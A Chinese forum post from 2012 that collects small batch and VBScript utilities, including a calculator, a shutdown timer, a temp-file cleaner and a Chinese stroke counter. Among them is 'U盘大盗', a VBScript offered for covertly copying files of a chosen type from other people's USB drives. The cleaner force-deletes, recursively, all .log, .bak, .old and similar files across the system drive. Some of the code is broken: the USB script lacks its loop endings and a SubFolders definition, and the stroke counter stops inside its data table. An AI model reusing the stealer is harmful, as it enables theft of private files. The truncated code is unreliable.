本人收集的所有脚本代码，倾心奉上！！！

淡然出尘 · 发表于 2012-3-15 01:00

编程中的颜色设置代码：0＝黑、1＝蓝、2＝绿、3＝浅绿、4＝红、5＝紫、6＝黄、7=白、8=灰、9=淡蓝、A＝淡绿、B=淡浅绿、C=淡红、D=淡紫、E=淡黄、F=亮白

Bat批量处理

简单计算器：能够简单的进行数字精确度为32位的四则运算。代码如下：

@echo off

color 2f

echo bat计算器

:a

echo 输入1为加法，2为减法，3为乘法，4为除法。

set /p a=

if %a%==1 (goto jia)

if %a%==2 (goto jian)

if %a%==3 (goto cheng)

if %a%==4 (goto chu)

:jia

set /p b=

echo 请输入另一个加数

set /p c=

set /a d=%b%+%c%

echo %d%

pause

echo 需要清屏吗？需要输入1，不需要输入2

set /p qing=

if %qing%==1 (goto qing)

if %qing%==2 (goto end)

:jian

echo 请输入被减数

set /p beijian=

echo 请输入减数

set /p jian=

set /a e=%beijian%-%jian%

echo %e%

pause

echo 需要清屏吗？需要输入1，不需要输入2

set /p qing=

if %qing%==1 (goto qing)

if %qing%==2 (goto end)

:cheng

echo 请输入被乘数

set /p beicheng=

echo 请输入乘数

set /p cheng=

set /a f=%beicheng%*%cheng%

echo %f%

pause

echo 需要清屏吗？需要输入1，不需要输入2

set /p qing=

if %qing%==1 (goto qing)

if %qing%==2 (goto end)

:chu

echo 请输入被除数

set /p beichu=

echo 请输入除数

set /p chu=

set /a g=%beichu%/%chu%

echo %g%

pause

echo 需要清屏吗？需要输入1，不需要输入2

set /p qing=

if %qing%==1 (goto qing)

if %qing%==2 (goto end)

:qing

cls

:end

goto a

定时关机：可能控制电脑在特定的时间点关机。代码如下：

@echo off

title 制作By自浩

color 70

echo 定时关机

echo ---------------------------------------

echo 输入时间的格式，例如：19:02

set /p ABCD=请输入时间：

at %ABCD% shutdown -f -s -t 0

echo 电脑将在%ABCD%关机

pause>nul

exit

提取系统时间：精确到跑秒。代码如下：

@echo off

:a

cls

set tm1=%time:~0,2%

set tm2=%time:~3,2%

set tm3=%time:~6,2%

echo %date% %tm1%点%tm2%分%tm3%秒

ping /n 2 127.0.0.1>nul

goto a

删除自身：bat程序它运行过后，会自动删除自身。代码如下：

@echo off

echo 点击任意键删除自身

pause>nul

del %0

界面修饰：按照自己的习惯改。代码如下：

@echo off

@title 欢迎来到www.jb51.net

@echo 欢迎来到www.jb51.net

@echo 今天是%date%

@echo 现在是%time%

@color 2b

@ prompt enter cmd:

@pause>nul

另类的祝福：特别的挑逗，让你的祝福让人倍感幸福。代码如下：

@echo off

set p=我爱你

title 密码是%p%

set n=1

:in

if %n% gtr 3 goto wrong

set /p a=请输入您需要登陆的密码:

if "%a%" equ "%p%" goto right

set/a n+=1

goto in

:right

echo 猜对了，新年快乐！

goto end

:wrong

echo 已经输过3次了，还不正确，退出！

:end

pause>nul

截取字符：在特定的字符中截取特定长度的字符。代码如下：

set a=www.jb51.net

set var=%a:~1,2%

echo %var%

pause>nul

清理系统垃圾：删除系统各磁盘的缓存或暂时性文件，包括：temp、log、old垃圾文件等。代码如下：

@echo off

echo 正在清除系统垃圾文件，请稍等......

del /f /s /q %systemdrive%\*.tmp

del /f /s /q %systemdrive%\*._mp

del /f /s /q %systemdrive%\*.log

del /f /s /q %systemdrive%\*.gid

del /f /s /q %systemdrive%\*.chk

del /f /s /q %systemdrive%\*.old

del /f /s /q %systemdrive%\recycled\*.*

del /f /s /q %windir%\*.bak

del /f /s /q %windir%\prefetch\*.*

rd /s /q %windir%\temp & md %windir%\temp

del /f /q %userprofile%\recent\*.*

del /f /s /q "%userprofile%\Local Settings\Temporary Internet Files\*.*"

del /f /s /q "%userprofile%\Local Settings\Temp\*.*"

del /f /s /q "%userprofile%\recent\*.*"

echo 清除系统LJ完成！

echo. & pause

vbs脚本

U盘大盗：可以在别人不知情的情况下，将外置U盘的特定文件复制到自己的磁盘中。如果用到，很方便。代码如下：

On Error Resume Next

Dim i

i=0

Set fso=CreateObject("Scripting.FileSystemObject")

IP=InputBox("请输入要监控的U盘盘符:","U盘大盗-By 最聪明的猪","I:")

ext=InputBox("请输入要盗窃的文件名的扩展名:","U盘大盗-By 最聪明的猪","txt")

MyFolder=InputBox("请输入保存文件的路径:","U盘大盗-By 最聪明的猪","E:\U盘大盗")

fso.CreateFolder(MyFolder)

Do

WScript.Sleep 1000

If fso.FolderExists(IP & "\") Then Exit Do

Loop

Scan(IP & "\")

Sub Scan(Folder_)

On Error Resume Next

Set Folder_=fso.GetFolder(Folder_)

Set Files=Folder_.Files

For Each File in Files

ext_=fso.GetExtensionName(File)

ext_=Lcase(ext_)

ext=Lcase(ext)

If ext_=ext Then

i=i+1

fso.GetFile(File).Copy(MyFolder & "\" & i & "_" & File.Name)

End If

For Each SubFolder In SubFolders

Scan(Subfolder)

让电脑说话：利用此程序可以调用电脑自带的语音功能。在没有软件辅助的情况下，只能读英语。代码如下：

CreateObject("SAPI.SpVoice").speak"I love you"

中文笔画计算：该程序可以计算出你的姓名，甚至是一段中文所有字的笔画共和。需要的话，非常有用。但记住只计算汉字的笔画。代码如下：

dim word,key

word=inputbox("请输入你要计算的文字","输入","自浩")

if word="" then

msgbox "对不起，请输入汉字！"

Wscript.Quit

end if

key=char_wordnum(word)

msgbox key

Function char_wordnum(my_char_word)

dim char_wordtable(26),wordnum_i,wordnum_j,wordnum_k,temp_wordnum

temp_wordnum=""

if my_char_word="" then

char_wordnum=0

exit function

end if

char_wordtable(0)=""

char_wordtable(1)="一乙"

char_wordtable(2)="丁七乃乜九了二人亻儿入八冂几凵刀刁力勹匕十厂厶又"

char_wordtable(3)="万丈三上下丌个丫丸久乇么义乞也习乡亍于亏亡亿兀凡刃勺千卫叉口囗土士夕大女子孑孓寸小尢尸山巛川工己已巳巾干幺广廾弋弓才门飞马"

char_wordtable(4)="不与丐丑专中丰丹为之乌书予云互亓五井亢什仁仂仃仄仅仆仇仉今介仍从仑仓允元公六兮内冈冗凤凶分切刈劝办勾勿匀化匹区卅升午卞厄厅历及友双反壬天太夫夭孔少尤尹尺屯巴币幻廿开引心忆戈户手扎支攴攵文斗斤方无日曰月木欠止歹殳毋比毛氏气水火爪父爻爿片牙牛犬王瓦肀艺见计订讣认讥贝车邓长闩队韦风乏"

char_wordtable(5)="且丕世丘丙业丛东丝主乍乎乐仔仕他仗付仙仝仞仟仡代令以仨仪仫们兄兰冉册写冬冯凸凹出击刊刍功加务劢包匆北匝卉半卟占卡卢卮卯厉去发古句另叨叩只叫召叭叮可台叱史右叵叶号司叹叻叼叽囚四圣处外央夯失头奴奶孕宁它宄对尔尕尻尼左巧巨市布帅平幼庀弁弗弘归必忉戊戋扑扒打扔斥旦旧未末本札术正母氐民氕永汀汁汇汉灭犯犰玄玉瓜甘生用甩田由甲申电疋白皮皿目矛矢石示礼禾穴立纠艽艾艿节讦讧讨让讪讫训议讯记轧边辽邗邙邛邝钅闪阡阢饥驭鸟龙"

char_wordtable(6)="丞丢乒乓乔乩买争亘亚交亥亦产仰仲仳仵件价任份仿企伉伊伍伎伏伐休众优伙会伛伞伟传伢伤伥伦伧伪伫佤充兆先光全共关兴再军农冰冱冲决凫凼刎刑划刖列刘则刚创劣动匈匠匡华协印危压厌厍吁吃各吆合吉吊同名后吏吐向吒吓吕吖吗囝回囟因囡团在圩圪圬圭圮圯地圳圹场圾壮夙多夷夸夹夺夼奸她好妁如妃妄妆妇妈字存孙宅宇守安寺寻导尖尘尥尧尽屹屺屿岁岂岌州巡巩帆师年并庄庆延廷异式弛当忏忖忙戌戍戎戏成托扛扣扦执扩扪扫扬收旨早旬旭旮旯曲曳有朱朴朵机朽杀杂权次欢此死毕氖氘氽汆汊汐汔汕汗汛汜汝江池污汤汲灯灰爷牝牟犴犷犸玎玑百祁竹米糸纡红纣纤纥约级纨纩纪纫缶网羊羽老考而耒耳聿肉肋肌臣自至臼舌舛舟艮色芄芊芋芍芎芏芑芒芗芝芨虍虫血行衣西观讲讳讴讵讶讷许讹论讼讽设访诀贞负轨达迁迂迄迅过迈邡邢那邦邪邬钆钇闫闭问闯阪阮阱防阳阴阵阶页饧驮驯驰齐"

char_wordtable(7)="两严串丽乱亨亩伯估伲伴伶伸伺似伽佃但位低住佐佑体何佗佘余佚佛作佝佞佟你佣佥佧克免兑兕兵况冶冷冻初删判刨利别刭助努劫劬劭励劲劳匣医卣卤即却卵县君吝吞吟吠吡吣否吧吨吩含听吭吮启吱吲吴吵吸吹吻吼吾呀呃呆呈告呋呐呒呓呔呕呖呗员呙呛呜囤囫园困囱围囵圻址坂均坊坌坍坎坏坐坑块坚坛坜坝坞坟坠声壳奁奂妊妍妒妓妖妗妙妞妣妤妥妨妩妪妫姊姒孚孛孜孝宋完宏寿尬尾尿局屁层岈岍岐岑岔岖岗岘岙岚岛岜希帏帐庇床庋序庐庑库应弃弄弟张形彤彷役彻忌忍忐忑忒志忘忡忤忧忪快忭忮忱忸忻忾怀怃怄怅怆我戒扭扮扯扰扳扶批扼找技抄抉把抑抒抓投抖抗折抚抛抟抠抡抢护报拒拟攸改攻旰旱时旷更杆杈杉杌李杏材村杓杖杜杞束杠条来杨杩极欤步歼每氙氚求汞汨汩汪汰汴汶汹汽汾沁沂沃沅沆沈沉沌沏沐沔沙沛沟没沣沤沥沦沧沩沪泐泛灵灶灸灼灾灿炀牡牢状犹狁狂狃狄狈玖玛甫甬男甸町疔疖疗皂盯矣矶社祀秀私秃究穷系纬纭纯纰纱纲纳纵纶纷纸纹纺纽纾罕羌肓肖肘肚肛肜肝肟肠良芈芘芙芜芟芡芤芥芦芩芪芫芬芭芮芯芰花芳芴芷芸芹芽芾苁苄苇苈苊苋苌苍苎苏苡苣虬补角言证诂诃评诅识诈诉诊诋诌词诎诏译诒谷豆豕豸贡财赤走足身轩轫辛辰迎运近迓返迕还这进远违连迟邑邮邯邰邱邳邴邵邶邸邹邺邻酉里针钉钊钋钌闰闱闲闳间闵闶闷阻阼阽阿陀陂附际陆陇陈陉韧饨饩饪饫饬饭饮驱驳驴鸠鸡麦龟"

char_wordtable(8)="丧乖乳事些亟享京佩佬佯佰佳佴佶佻佼佾使侃侄侈侉例侍侏侑侔侗供依侠侣侥侦侧侨侩侪侬兔兖其具典冼冽净凭凯函刮到刳制刷券刹刺刻刽刿剀剁剂劾势匦卑卒卓单卖卦卧卷卺厕叁参叔取呢呤呦周呱味呵呶呷呸呻呼命咀咂咄咆咋和咎咏咐咒咔咕咖咙咚咛咝哎囹固国图坡坤坦坨坩坪坫坭坯坳坶坷坻坼垂垃垄垅垆备夜奄奇奈奉奋奔妮妯妲妹妻妾姆始姐姑姓委姗孟孢季孤孥学宓宕宗官宙定宛宜宝实宠审尚居屈屉届岢岣岩岫岬岭岱岳岵岷岸岽岿峁峄巫帑帔帕帖帘帙帚帛帜幸底庖店庙庚府庞废建弥弦弧弩弪录彼往征徂径忝忠念忽忿态怂怊怍怏怔怕怖怙怛怜怡怦性怩怪怫怯怵怿戕或戗戽戾房所承抨披抬抱抵抹抻押抽抿拂拄担拆拇拈拉拊拌拍拎拐拓拔拖拗拘拙拚招拢拣拥拦拧拨择放斧斩於旺昀昂昃昆昊昌明昏易昔昕昙朊朋服杪杭杯杰杲杳杵杷杼松板构枇枉枋析枕林枘枚果枝枞枢枣枥枧枨枪枫枭柜欣欧武歧殁殴氓氛沓沫沭沮沱沲河沸油治沼沽沾沿泄泅泊泌泓泔法泖泗泞泠泡波泣泥注泪泫泮泯泱泳泷泸泺泻泼泽泾浅炅炉炊炎炒炔炕炖炙炜炝炬爬爸版牦牧物狍狎狐狒狗狙狞玟玢玩玫玮环现瓮瓯甙画甾畀畅疙疚疝疟疠疡的盂盱盲直知矸矽矾矿砀码祆祈祉秆秉穸穹空竺籴线绀绁绂练组绅细织终绉绊绋绌绍绎经绐罔罗者耵耶肃股肢肤肥肩肪肫肭肮肯肱育肴肷肺肼肽肾肿胀胁臾舍艰苑苒苓苔苕苗苘苛苜苞苟苠苤若苦苫苯英苴苷苹苻茁茂范茄茅茆茇茉茌茎茏茑茔茕茚虎虏虮虱表衩衫衬规觅视诓诔试诖诗诘诙诚诛诜话诞诟诠诡询诣诤该详诧诨诩责贤败账货质贩贪贫贬购贮贯转轭轮软轰迢迤迥迦迨迩迪迫迭迮述迳邾郁郄郅郇郊郎郏郐郑郓采金钍钎钏钐钒钓钔钕钗闸闹阜陋陌降限陔陕隶隹雨青非顶顷饯饰饱饲饴驵驶驷驸驹驺驻驼驽驾驿骀鱼鸢鸣黾齿"

char_wordtable(9)="临举亭亮亲侮侯侵便促俄俅俊俎俏俐俑俗俘俚俜保俞俟信俣俦俨俩俪俭修兹养冒冠剃削剌前剐剑勃勇勉勋匍南卸厘厚受变叙叛呲咣咤咦咧咨咩咪咫咬咭咯咱咳咴咸咻咽咿哀品哂哄哆哇哈哉哌响哏哐哑哒哓哔哕哗哙哚哜哝哞哟哪囿型垌垒垓垛垠垡垢垣垤垦垧垩垫垭垮垲垴城埏复奎奏契奕奖姘姚姜姝姣姥姨姹姻姿威娃娄娅娆娇娈娜孩孪客宣室宥宦宪宫封将尜尝屋屎屏峋峒峙峡峤峥峦差巷帝带帧帮幽庠庥度庭弈弭弯彖彦彪待徇很徉徊律後怎怒思怠急怨总怼恂恃恍恒恢恤恨恪恫恬恸恹恺恻恼恽战扁扃拜括拭拮拯拱拴拶拷拼拽拾持挂指按挎挑挖挝挞挟挠挡挢挣挤挥挪挺政故斫施既昝星映春昧昨昭是昱昴昵昶昼显曷朐枯枰枳枵架枷枸柁柃柄柏某柑柒染柔柘柙柚柝柞柠柢查柩柬柯柰柱柳柽柿栀栅标栈栉栊栋栌栎栏树歪殂殃殄殆殇残段毒毖毗毡氟氡氢泉泵泶洁洄洇洋洌洎洒洗洙洚洛洞津洧洪洫洮洱洲洳洵洹活洼洽派浃浇浈浊测浍济浏浑浒浓浔涎炫炭炮炯炱炳炷炸点炻炼炽烀烁烂烃爰牮牯牲牵狠狡狨狩独狭狮狯狰狱狲玲玳玷玻珀珂珈珉珊珍珏珐珑瓴甚甭畈畋界畎畏疣疤疥疫疬疮疯癸皆皇皈盅盆盈相盹盼盾省眄眇眈眉看眍眨矜矧矩砂砉砌砍砑砒研砖砗砘砚砜砭祓祖祗祚祛祜祝神祠祢禹禺秋种科秒秕秭穿窀突窃窆竖竽竿笃笈类籼籽绑绒结绔绕绗绘给绚绛络绝绞统缸罘罚美羿耍耐耔耷胂胃胄胆背胍胎胖胗胙胚胛胜胝胞胡胤胥胧胨胩胪胫脉舁舡舢舣茈茗茛茜茧茨茫茬茭茯茱茳茴茵茶茸茹茺茼荀荃荆荇草荏荐荑荒荔荚荛荜荞荟荠荡荣荤荥荦荧荨荩荪荫荬荭荮药莒莛虐虹虺虻虼虽虾虿蚀蚁蚂蚤衍衲衽衿袂袄袅要觇览觉訇诫诬语诮误诰诱诲诳说诵诶贰贱贲贳贴贵贶贷贸费贺贻赳赴赵趴轱轲轳轴轵轶轷轸轹轺轻迷迸迹追退送适逃逄逅逆选逊郗郛郜郝郡郢郦郧酊酋重钙钚钛钜钝钞钟钠钡钢钣钤钥钦钧钨钩钪钫钬钭钮钯闺闻闼闽闾阀阁阂陛陟陡院除陧陨险面革韭音顸项顺须飑飒食饵饶饷饺饼首香骁骂骄骅骆骇骈骨鬼鸥鸦鸨鸩"

char_wordtable(10)="乘亳俯俱俳俸俺俾倌倍倏倒倔倘候倚倜借倡倥倦倨倩倪倬倭倮债值倾偌健党兼冢冤冥凄准凇凉凋凌剔剖剜剞剡剥剧勐匪匿卿厝原叟哥哦哧哨哩哭哮哲哳哺哼哽哿唁唆唇唉唏唐唑唔唛唠唢唣唤唧啊圃圄圆垸埂埃埋埒埔埕埘埙埚壶夏套奘奚姬娉娌娑娓娘娟娠娣娥娩娱娲娴婀孬宰害宴宵家宸容宽宾射屐屑展屙峨峪峭峰峻崂崃席帱座弱徐徒徕恁恋恐恕恙恚恝恣恧恩恭息恳恶悃悄悌悍悒悔悖悚悛悝悟悦悭悯扇拳拿挈挚挛挨挫振挹挽捂捃捅捆捉捋捌捍捎捏捐捕捞损捡换捣效敉敌敖斋料旁旃旄旅旆晁晃晋晌晏晒晓晔晕晖晚晟朔朕朗柴栓栖栗栝校栩株栲栳样核根格栽栾桀桁桂桃桄桅框案桉桊桌桎桐桑桓桔桕桠桡桢档桤桥桦桧桨桩梃梆梢梧梨殉殊殷毙毪氤氦氧氨氩泰流浆浙浚浜浞浠浣浦浩浪浮浯浴海浸浼涂涅消涉涌涑涓涔涕涛涝涞涟涠涡涣涤润涧涨涩烈烊烘烙烛烟烤烦烧烨烩烫烬热爱爹特牺狳狴狷狸狺狻狼猁猃玺珙珞珠珥珧珩班珲琊瓞瓶瓷畔留畚畛畜疰疱疲疳疴疸疹疼疽疾痂痃痄病症痈痉皋皱益盍盎盏盐监眙眚真眠眢眩砝弢砟砣砥砧砩砬砰破砷砸砹砺砻砼砾础祟祥祧祯离秘租秣秤秦秧秩秫积称窄窈窍站竞笄笆笊笋笏笑笔笕笫粉粑紊素索紧绠绡绢绣绥绦继绨缺罟罡罢羔羞翁翅耄耆耕耖耗耘耙耸耻耽耿聂胭胯胰胱胲胳胴胶胸胺胼能脂脆脊脍脎脏脐脑脒脓臬臭致舀舐舨航舫般舭舯舰舱艳荷荸荻荼荽莅莆莉莎莓莘莜莞莠莨莩莪莫莰莱莲莳莴莶获莸莹莺莼莽虑虔蚊蚋蚌蚍蚓蚕蚜蚝蚣蚧蚨蚩蚪蚬衄衮衰衷衾袁袍袒袖袜袢被觊请诸诹诺读诼诽课诿谀谁谂调谄谅谆谇谈谊豇豹豺贼贽贾贿赀赁赂赃资赅赆赶起趵趸趿躬軎轼载轾轿辁辂较辱逋逍透逐逑递途逖逗通逛逝逞速造逡逢逦邕部郫郭郯郴郸都酌配酎酏酐酒釜钰钱钲钳钴钵钶钷钸钹钺钻钼钽钾钿铀铁铂铃铄铅铆铈铉铊铋铌铍铎阃阄阅阆陪陬陲陴陵陶陷隼隽难顼顽顾顿颀颁颂颃预饽饿馀馁骊骋验骏高髟鬯鬲鸪鸫鸬鸭鸯鸱鸲鸳鸵"

char_wordtable(11)="龛鸶龀乾偃假偈偎偏偕做停偬偶偷偻偾偿傀兜兽冕减凑凰剪副勒勖勘匏匐匙匮匾厢厣厩唪唬售唯唰唱唳唷唼唾唿啁啃啄商啉啐啕啖啜啡啤啥啦啧啪啬啭啮啵啶啷啸喏喵圈圉圊埝域埠埤埭埯埴埸培基埽堀堂堆堇堋堍堑堕堵够奢娶娼婆婉婊婕婚婢婧婪婴婵婶孰宿寂寄寅密寇尉屠崆崇崎崔崖崛崞崤崦崧崩崭崮巢帷常帻帼庳庵庶康庸庹庾廊弹彗彩彬得徘徙徜恿悉悠患您悫悬悱悴悸悻悼情惆惊惋惕惘惚惜惝惟惦惧惨惬惭惮惯戚戛扈挲捧捩捭据捱捶捷捺捻掀掂掇授掉掊掎掏掐排掖掘掠探接控推掩措掬掭掮掳掴掷掸掺掼揶敏救敕教敛敝敢斛斜断旋旌旎族晗晡晤晦晨曹曼望桫桴桶桷梁梅梏梓梗梦梭梯械梳梵检棂欲欷殍殒殓毫氪涪涫涮涯液涵涸涿淀淄淅淆淇淋淌淑淖淘淙淝淞淠淡淤淦淫淬淮深淳混淹添清渊渌渍渎渐渑渔渖渗渚渠烯烷烹烽焉焊焐焓焕焖焘爽牾牿犁猊猎猓猕猖猗猛猜猝猞猡猪猫率球琅理琉琏琐瓠甜略畦疵痊痍痒痔痕痖皎皑皲盒盔盖盗盘盛眦眭眯眵眶眷眸眺眼着睁矫砦硅硇硌硎硐硒硕硖硗硭票祭祷祸秸移秽稆窑窒窕竟章笙笛笞笠笤笥符笨笪第笮笱笳笸笺笼笾筇粒粕粗粘粜粝累绩绪绫续绮绯绰绱绲绳维绵绶绷绸绺绻综绽绾绿缀缁缍羚羝羟翊翌翎耜聃聆聊聋职聍胬脖脘脚脞脬脯脱脲脶脸舂舳舴舵舶舷舸船舻艴菀菁菅菇菊菌菏菔菖菘菜菝菟菠菡菥菩菪菰菱菲菸菹菽萁萃萄萆萋萌萍萎萏萑萘萜萝萤营萦萧萨萸著虚蚯蚰蚱蚴蚵蚶蚺蛀蛄蛆蛇蛉蛊蛋蛎蛏衅衔袈袋袤袭袱袷袼裆裉觋觖谋谌谍谎谏谐谑谒谓谔谕谖谗谘谙谚谛谜谝豉豚象赇赈赉赊赦赧趺趼趾跃跄距躯辄辅辆逭逮逯逵逶逸逻郾鄂鄄酗酚酝酞野铐铑铒铕铖铗铘铙铛铜铝铞铟铠争铣铤铥铧铨稔铫铬铭铮铯铰铱铲铳铴铵银铷阈阉阊阋阌阍阎阏阐隅隆隈隋隍随隐隗雀雩雪颅领颇颈馄馅馆馗骐骑骒骓骖鸷鸸鸹鸺鸽鸾鸿鹿麸麻黄龚"

char_wordtable(12)="亵傅傈傍傣傥傧储傩傲凿剩割募博厥厦厨啻啼啾喀喁喂喃善喇喈喉喊喋喑喔喘喙喜喝喟喧喱喳喷喹喻喽喾嗖嗟堙堞堠堡堤堪堰塄塔壹奠奥婷婺婿媒媚媛媪嫂孱孳富寐寒寓尊就属屡崴崽崾嵇嵋嵌嵘嵛嵝嵫嵬嵯巯巽帽幂幄幅弑强弼彘彭御徨循悲惑惠惩惫惰惴惶惹惺愀愉愎愕愠愣愤愦愧慌慨戟戡戢扉掌掣掰掾揄揆揉揍揎描提插揖揞揠握揣揩揪揭揲援揸揽揿搀搁搂搅搓搔搜搭搽摒敞散敦敬斌斐斑斯普景晰晴晶晷智晾暂暑曾替最朝期棉棋棍棒棕棘棚棠棣森棰棱棵棹棺棼椁椅椋植椎椐椒椟椠椤椭椰楗楮榔欹欺款殖殚殛毯毳毵毽氮氯氰淼渝渡渣渤渥温渫渭港渲渴游渺湃湄湍湎湓湔湖湘湛湟湫湮湾湿溃溅溆溉溲滁滋滑滞焙焚焦焯焰焱然煮牌牍犀犄犊犋犍猢猥猩猬猱猴猸猹猾琚琛琢琥琦琨琪琬琮琰琳琴琵琶琼瑛瓿甥甯番畲畴疏痘痛痞痢痣痤痦痧痨痪痫登皓皖皴睃睇睐睑矬短硝硪硫硬确硷祺禄禅禽宵稃程稍税窖窗窘窜窝竣童竦筅等筋筌筏筐筑筒答策筘筚筛筝筵粞粟粢粤粥粪紫絮絷缂缃缄缅缆缇缈缉缋缌缎缏缑缒缓缔缕编缗缘缙羡翔翕翘耋耠聒联脔脾腆腈腊腋腌腑腓腔腕腙腚腱腴舄舒舜舾艇萱萼落葆葑葙葚葛葜葡董葩葫葬葭葱葳葵葶葸葺蒂蒇蒈蒉蒋蒌蒎蛐蛑蛔蛘蛙蛛蛞蛟蛤蛩蛭蛮蛰蛱蛲蛳蛴蜒蜓街裁裂装裎裒裕裙裢裣裤裥覃觌觚觞詈谟谠谡谢谣谤谥谦谧貂赋赌赍赎赏赐赓赔赕趁趄超越趋跆跋跌跎跏跑跖跗跚跛跞践辇辈辉辊辋辍辎辜逼逾遁遂遄遇遍遏遐遑遒道遗酡酢酣酤酥釉释量铸铹铺铼铽链铿销锁锂锃锄锅锆锇锈锉锊锋锌锍锎锏锐锑锒锓锔锕阑阒阔阕隔隘隙雁雄雅集雇雯雳靓韩颉颊颌颍颏飓飧飨馇馈馊馋骗骘骚骛鱿鲁鲂鹁鹂鹃鹄鹅鹆鹇鹈黍黑黹鼋鼎"

char_wordtable(13)="催傺傻像剽剿勤叠嗄嗅嗉嗌嗍嗑嗒嗓嗔嗜嗝嗡嗣嗤嗥嗦嗨嗪嗫嗬嗯嗲嗳嗵嗷嘟塌塍塑塘塞塥填塬墓媲媳媵媸媾嫁嫉嫌嫒嫔嫫寝寞尴嵊嵩嵴幌幕廉廒廓彀徭微想愁愆愈愍意愚感愫慈慊慎慑戤戥搋搌搏搐搛搞搠搡搦搪搬携摁摄摅摆摇摈摊摸敫数斟新旒暄暇暌暖暗椴椹椽椿楂楔楚楝楞楠楣楦楫楱楷楸楹楼榀概榄榆榇榈榉榘槌槎槐歃歆歇歌殿毁毂毹氲溏源溘溜溟溢溥溧溪溯溱溴溶溷溺溻溽滂滇滏滓滔滗滚滟滠满滢滤滥滦滨滩漓漠漭煅煊煌煎煜煞煤煦照煨煲煳煸煺牒犏献猷猿獒瑁瑕瑗瑙瑚瑜瑞瑟瑰甄畸畹痰痱痴痹痼痿瘀瘁瘃瘅瘐皙盟睚睛睡睢督睥睦睨睫睬睹瞄矮硼碇碉碌碍碎碑碓碗碘碚碛碜碰禀禁禊福稔稗稚稞稠稣窟窠窥窦筠筢筮筱筲筷筹筻签简粮粱粲粳缚缛缜缝缟缠缡缢缣缤罨罩罪置署群羧耢聘肄肆腠腥腧腩腭腮腰腹腺腻腼腽腾腿舅艄艉蒗蒙蒜蒡蒯蒲蒴蒸蒹蒺蒽蒿蓁蓄蓉蓊蓍蓐蓑蓓蓖蓝蓟蓠蓣蓥蓦蓬虞蛸蛹蛾蜂蜃蜇蜈蜉蜊蜍蜕蜗蜣衙裔裘裟裨裰裱裸裼裾褂褚觎觜解觥触訾詹誉誊谨谩谪谫谬豢貅貉貊赖趑趔跟跣跤跨跪跫跬路跳跷跸跹跺跻躲辏辐辑输辔辞辟遘遛遢遣遥遨鄙鄞鄢鄣酩酪酬酮酯酰酱鉴锖锗锘错锚锛锝锞锟锡锢锣锤锥锦锨锩锪锫锬锭键锯锰锱阖阗阙障雉雍雎雏零雷雹雾靖靳靴靶韪韫韵颐频颓颔颖飕馍馏馐骜骝骞骟骰骱髡魁魂鲅鲆鲇鲈鲋鲍鲎鲐鹉鹊鹋鹌鹎鹏鹑麂鼓鼠龃龄"

char_wordtable(14)="龅龆僖僚僦僧僬僭僮僳儆兢凳劁劂厮嗽嗾嘀嘁嘈嘉嘌嘎嘏嘘嘛嘞嘣嘤嘧塾墁境墅墉墒墙墚夤夥嫖嫘嫜嫠嫡嫣嫦嫩嫱孵察寡寤寥寨屣嶂幔幛廑廖弊彰愿慕慝慢慵慷截戬搴搿摔摘摞摧摭摹摺撂撄撇撖敲斡旖旗暝暧暨榍榕榛榜榧榨榫榭榱榴榷榻槁槊槔槛槟槠槭模歉殡毓滴滹漂漆漉漏演漕漤漩漪漫漯漱漳漶漾潆潇潋潍潢潴澉煽熄熊熏熔熘熙熬犒獍獐瑭瑶瑷璃甍疑瘊瘌瘕瘗瘘瘙瘟瘥瘦瘩睽睾睿瞀瞅瞍碟碡碣碥碧碱碲碳碴碹磁磋禚稳窨窬窭竭端箅箍箐箔箕算箜箝管箢箦箧箨箩箪箫箬箸粹粼粽精糁綦綮缥缦缧缨缩缪缫罂罱罴翟翠翡翥耥聚肇腐膀膂膈膊膏膑膜臧舆舔舞艋蓰蓼蓿蔌蔑蔓蔗蔚蔟蔡蔫蔷蔸蔹蔺蔻蔼蔽蕖蜀蜘蜚蜜蜞蜡蜢蜥蜩蜮蜱蜴蜷蜻蜾蜿蝇蝈蝉螂裳裴裹褊褐褓褙褛褡褪觏觫誓谭谮谯谰谱谲豪貌赘赙赚赛赫跽踅踉踊踌辕辖辗辣遭遮鄯鄱酲酴酵酶酷酸酹酽酾酿銎銮锲锴锵锶锷锸锹锺锻锼锾锿镀镁镂镄镅阚隧雌雒需霁霆静靼鞅韬韶颗馑馒骠骡骢骶骷髦魃魄魅鲑鲒鲔鲕鲚鲛鲜鲞鲟鹕鹗鹘鹚鹛鹜麽鼐鼻"

char_wordtable(15)="龇龈僵僻儇儋凛劈劐勰嘬嘭嘱嘲嘶嘹嘻嘿噌噍噎噔噗噘噙噜噢噶墀增墟墨墩嬉寮履屦嶙嶝幞幡幢廛影徵德慧慰憋憎憔憧憨憬懂戮摩撅撑撒撕撙撞撤撩撬播撮撰撵撷撸撺擒敷暮暴暹槲槽槿樊樗樘樟横樯樱橄橡橥毅滕潘潜潦潭潮潲潸潺潼澄澈澌澍澎澜澳熟熠熨熳熵牖獗獠瑾璀璁璇璋璎璜畿瘛瘠瘢瘤瘪瘫瘼瞌瞎瞑瞒瞢碾磅磉磊磐磔磕磙稷稹稻稼稽稿窳箭箱箴篁篆篇篌篑篓糅糇糈糊糌糍缬缭缮缯羯羰翦翩耦耧聩聪膘膛膝膣艏艘蔬蕃蕈蕉蕊蕙蕞蕤蕨蕲蕴蕺虢蝌蝎蝓蝗蝙蝠蝣蝤蝥蝮蝰蝴蝶蝻蝼蝽蝾螋褒褥褫褴觐觑觯谳谴谵豌豫赜赭趟趣踏踔踝踞踟踢踣踩踪踬踮踯踺躺辘遴遵醅醇醉醋醌鋈镆镇镉镊镌镍镎镏镐镑镒镓镔霄震霈霉靠靥鞋鞍鞑鞒题颚颛颜额飘餍馓馔骣骸骺骼髫髯魇鲠鲡鲢鲣鲤鲥鲦鲧鲨鲩鲫鹞鹣鹤麾黎"

